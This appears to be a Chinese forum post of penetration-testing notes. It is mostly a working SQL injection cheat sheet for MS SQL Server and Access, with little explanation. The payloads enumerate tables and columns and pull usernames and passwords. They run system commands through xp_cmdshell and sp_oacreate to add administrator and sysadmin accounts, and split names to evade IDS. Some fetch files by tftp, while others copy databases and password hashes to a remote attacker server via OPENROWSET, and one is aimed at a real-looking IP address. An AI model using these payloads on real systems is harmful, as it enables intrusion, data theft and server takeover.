小弟刚来,发点小文章给各位看官养养眼吧,都是平时渗透测试时的一些思路总结。见笑了

   Sql的注射最早源于’or’1’=’1)
  最重要的表名:
  select * from sysobjects
  sysobjects ncsysobjects
  sysindexes tsysindexes
  syscolumns
  systypes
  sysusers
  sysdatabases
  sysxlogins
  sysprocesses
  最重要的一些用户名(默认sql数据库中存在着的)
  public
  dbo
  guest(一般禁止,或者没权限)
  db_sercurityadmin
  ab_dlladmin
  一些默认扩展
  xp_regaddmultistring
  xp_regdeletekey
  xp_regdeletevalue
  xp_regenumkeys
  xp_regenumvalues
  xp_regread
  xp_regremovemultistring
  xp_regwrite
  xp_availablemedia 驱动器相关
  xp_dirtree 目录
  xp_enumdsn ODBC连接
  xp_loginconfig 服务器安全模式信息
  xp_makecab 创建压缩卷
  xp_ntsec_enumdomains domain信息
  xp_terminate_process 终端进程,给出一个PID
  例如:
  sp_addextendedproc ’xp_webserver’, ’c:/temp/xp_foo.dll’
  exec xp_webserver
  sp_dropextendedproc ’xp_webserver’
  bcp "select * FROM test..foo" queryout c:/inetpub/wwwroot/runcommand.asp -c -Slocalhost -Usa -Pfoobar
  ’ group by users.id having 1=1-
  ’ group by users.id, users.username, users.password, users.privs having 1=1-
  ’; insert into users values( 666, ’attacker’, ’foobar’, 0xffff )-
  union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’-
  union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’ where COLUMN_NAME NOT IN (’login_id’)-
  union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’ where COLUMN_NAME NOT IN (’login_id’,’login_name’)-
  union select TOP 1 login_name FROM logintable-
  union select TOP 1 password FROM logintable where login_name=’Rahul’--
  构造语句:查询是否存在xp_cmdshell
  ’ union select @@version,1,1,1--
  and 1=(select @@VERSION)
  and ’sa’=(select System_user)
  ’ union select ret,1,1,1 from foo--
  ’ union select min(username),1,1,1 from users where username > ’a’-
  ’ union select min(username),1,1,1 from users where username > ’admin’-
  ’ union select password,1,1,1 from users where username = ’admin’--
  and user_name()=’dbo’
  and 0<>(select user_name()-
  ; DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ’C:/WIndows/system32/cmd.exe /c net user admin 123456 /add’
  and 1=(select count(*) FROM master.dbo.sysobjects where xtype = ’X’ AND name = ’xp_cmdshell’)
  ;EXEC master.dbo.sp_addextendedproc ’xp_cmdshell’, ’xplog70.dll’
  1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype=’x’%20and%20name=’xp_cmdshell’)
  and 1=(select IS_SRVROLEMEMBER(’sysadmin’)) 判断sa权限是否
  and 0<>(select top 1 paths from newtable)-- 暴库大法
  and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)
  创建一个虚拟目录E盘:
  declare @o int exec sp_oacreate ’wscript.shell’, @o out exec sp_oamethod @o, ’run’, NULL,’ cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默认 Web 站点" -v "e","e:/"’
  访问属性:(配合写入一个webshell)
  declare @o int exec sp_oacreate ’wscript.shell’, @o out exec sp_oamethod @o, ’run’, NULL,’ cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse’
  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
  依次提交 dbid = 7,8,9.... 得到更多的数据库名
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’) 暴到一个表 假设为 admin
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name not in (’Admin’)) 来得到其他的表。
  and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and name=’admin’
  and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
  and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
  and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
  (’id’,...)) 来暴出其他的字段
  and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
  依次可以得到密码。。。。。假设存在user_id username ,password 等字段
  Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
  Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
  (union语句到处风靡啊,access也好用
  暴库特殊技巧::%5c=’/’ 或者把/和/ 修改%5提交
  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’) 得到表名
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name not in(’Address’))
  and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and name=’admin’ and uid>(str(id))) 判断id值
  and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
  http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--
  http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
  ;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=’HKEY_LOCAL_MACHINE’, @key=’SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/’, @value_name=’/’, values=@test OUTPUT insert into paths(path) values(@test)
  http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--
  得到了web路径d:/xxxx,接下来:
  http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
  http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--
  传统的存在xp_cmdshell的测试过程:
  ;exec master..xp_cmdshell ’dir’
  ;exec master.dbo.sp_addlogin hax;--
  ;exec master.dbo.sp_password null,hax,hax;--
  ;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
  ;exec master.dbo.xp_cmdshell ’net user admin 123456 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;--
  ;exec master.dbo.xp_cmdshell ’net localgroup administrators admin  /add’;--
  exec master..xp_servicecontrol ’start’, ’schedule’
  exec master..xp_servicecontrol ’start’, ’server’
  http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ’C:/WINNT/system32/cmd.exe /c net user admin   123456 /add’
  ;DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ’C:/WINNT/system32/cmd.exe /c net localgroup administrators admin /add’
  http://localhost/show.asp?id=1'; exec master..xp_cmdshell ’tftp -i youip get file.exe’-
  declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ’dir c:/’
  declare @a sysname set @a=’xp’+’_cm’+’dshell’ exec @a ’dir c:/’
  ;declare @a;set @a=db_name();backup database @a to disk=’你的IP你的共享目录bak.dat’
  如果被限制则可以。
  select * from openrowset(’sqloledb’,’server’;’sa’;’’,’select ’’OK!’’ exec master.dbo.sp_addlogin hax’)
  传统查询构造:
  select * FROM news where id=... AND topic=... AND .....
  admin’and 1=(select count(*) from [user] where username=’victim’ and right(left(userpass,01),1)=’1’) and userpass <>’
  select 123;--
  ;use master;--
  :a’ or name like ’fff%’;-- 显示有一个叫ffff的用户哈。
  ’and 1<>(select count(email) from [user]);--
  ;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and status>0) where name=’ffff’;--
  说明:
  上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
  通过查看ffff的用户资料可得第一个用表叫ad
  然后根据表名ad得到这个表的ID
  ffff’;update [users] set email=(select top 1 id from sysobjects where xtype=’u’ and name=’ad’) where name=’ffff’;--
  象下面这样就可以得到第二个表的名字了
  ffff’;update [users] set email=(select top 1 name from sysobjects where xtype=’u’ and id>581577110) where name=’ffff’;--
  ffff’;update [users] set email=(select top 1 count(id) from password) where name=’ffff’;--
  ffff’;update [users] set email=(select top 1 pwd from password where id=2) where name=’ffff’;--
  ffff’;update [users] set email=(select top 1 name from password where id=2) where name=’ffff’;--
  exec master..xp_servicecontrol ’start’, ’schedule’
  exec master..xp_servicecontrol ’start’, ’server’
  sp_addextendedproc ’xp_webserver’, ’c:/temp/xp_foo.dll’
  扩展存储就可以通过一般的方法调用:
  exec xp_webserver
  一旦这个扩展存储执行过,可以这样删除它:
  sp_dropextendedproc ’xp_webserver’
  insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
  insert into users values( 667,123,123,0xffff)-
  insert into users values ( 123, ’admin’’--’, ’password’, 0xffff)-
  ;and user>0
  ;;and (select count(*) from sysobjects)>0
  ;;and (select count(*) from mysysobjects)>0 //为access数据库
  -----------------------------------------------------------通常注射的一些介绍:
  A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
  select * from 表名 where 字段=49
  注入的参数为ID=49 And [查询条件],即是生成语句:
  select * from 表名 where 字段=49 And [查询条件]
  (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
  select * from 表名 where 字段=’连续剧’
  注入的参数为Class=连续剧’ and [查询条件] and ’’=’ ,即是生成语句:
  select * from 表名 where 字段=’连续剧’ and [查询条件] and ’’=’’
  (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
  select * from 表名 where 字段like ’%关键字%’
  注入的参数为keyword=’ and [查询条件] and ’%25’=’, 即是生成语句:
  select * from 表名 where字段like ’%’ and [查询条件] and ’%’=’%’
  ;;and (select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
  sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。
  ;;and (select Top 1 col_name(object_id(’表名’),1) from sysobjects)>0
  从⑤拿到表名后,用object_id(’表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
  post.htm内容:主要是方便输入。
  枚举出他的数据表名:
  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
  这是将第一个表名更新到aaa的字段处。
  读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。
  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
  然后id=1552 and exists(select * from aaa where aaa>5)
  读出第二个表,^^^^^^一个个的读出,直到没有为止。
  读字段是这样:
  id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
  id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
  --------------------------------高级技巧:
  [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
  update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>’你得到的表名’ 查出一个加一个]) [ where 条件]
  select top 1 name from sysobjects where xtype=u and status>0 and name not in(’table1’,’table2’,…)
  通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
  [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
  update 表名 set 字段=(select top 1 col_name(object_id(’要查询的数据表名’),字段列如:1) [ where 条件]
  绕过IDS的检测[使用变量]
  declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ’dir c:/’
  declare @a sysname set @a=’xp’+’_cm’+’dshell’ exec @a ’dir c:/’
  1、 开启远程数据库
  基本语法
  select * from OPENROWSET(’SQLOLEDB’, ’server=servername;uid=sa;pwd=apachy_123’, ’select * from table1’ )
  参数: (1) OLEDB Provider name
  2、 其中连接字符串参数可以是任何和端口用来连接,比如
  select * from OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from table’
  要复制目标主机的整个数据库,首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接,刚才已经讲了),之后insert所有远程表到本地表。
  基本语法:
  insert into OPENROWSET(’SQLOLEDB’, ’server=servername;uid=sa;pwd=apachy_123’, ’select * from table1’) select * from table2
  这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
  insert into OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from table1’) select * from table2
  insert into OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=f19ht;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from _sysdatabases’)
  select * from master.dbo.sysdatabases
  insert into OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=f19ht;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from _sysobjects’)
  select * from user_database.dbo.sysobjects
  insert into OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from _syscolumns’)
  select * from user_database.dbo.syscolumns
  之后,便可以从本地数据库中看到目标主机的库结构,这已经易如反掌,不多讲,复制数据库:
  insert into OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from table1’) select * from database..table1
  insert into OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from table2’) select * from database..table2
  ......
  3、 复制哈西表(HASH)
  这实际上是上述复制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下:
  insert into OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from _sysxlogins’) select * from database.dbo.sysxlogins
  得到hash之后,就可以进行暴力破解。这需要一点运气和大量时间。
  遍历目录的方法:
  先创建一个临时表:temp
  5’;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
  5’;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
  5’;insert into temp(id) exec master.dbo.xp_subdirs ’c:/’;-- 获得子目录列表
  5’;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:/’;-- 获得所有子目录的目录树结构,并寸入temp表中
  5’;insert into temp(id) exec master.dbo.xp_cmdshell ’type c:/web/index.asp’;-- 查看某个文件的内容
  5’;insert into temp(id) exec master.dbo.xp_cmdshell ’dir c:/’;--
  5’;insert into temp(id) exec master.dbo.xp_cmdshell ’dir c:/ *.asp /s/a’;--
  5’;insert into temp(id) exec master.dbo.xp_cmdshell ’cscript C:/Inetpub/AdminScripts/adsutil.vbs enum w3svc’
  5’;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:/’;-- (xp_dirtree适用权限PUBLIC)
  写入表:
  语句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’sysadmin’));--
  语句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’serveradmin’));--
  语句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’setupadmin’));--
  语句4:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’securityadmin’));--
  语句5:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’securityadmin’));--
  语句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’diskadmin’));--
  语句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));--
  语句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));--
  语句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_MEMBER(’db_owner’));--
  把路径写到表中去:
  http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)-
  http://http://www.xxxxx.com/down/list.asp?id=1;insert  dirs exec master.dbo.xp_dirtree ’c:/’-
  http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
  http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in(’@Inetpub’))-
  语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
  语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree ’e:/web’--
  语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)-
  把数据库备份到网页目录:下载
  http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk=’e:/web/down.bak’;--
  and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20T%20order%20by%20id%20desc)
  and%201=(select%20Top%201%20col_name(object_id(’USER_LOGIN’),1)%20from%20sysobjects) 参看相关表。
  and 1=(select%20user_id%20from%20USER_LOGIN)
  and%200=(select%20user%20from%20USER_LOGIN%20where%20user>1)
  如果可以通过连接符注释掉后面的验证,那么就更有意思了,来看我们能作什么:
  a、在用户名位置输入【admin’;exec master.dbo.sp_addlogin Cool;--】,添加一个sql用户
  b、在用户名位置输入【admin’;exec master.dbo.sp_password null,123456,Cool;--】,给Cool设置密码为123456
  c、在用户名位置输入【admin’;exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,给Cool赋予System Administrator权限
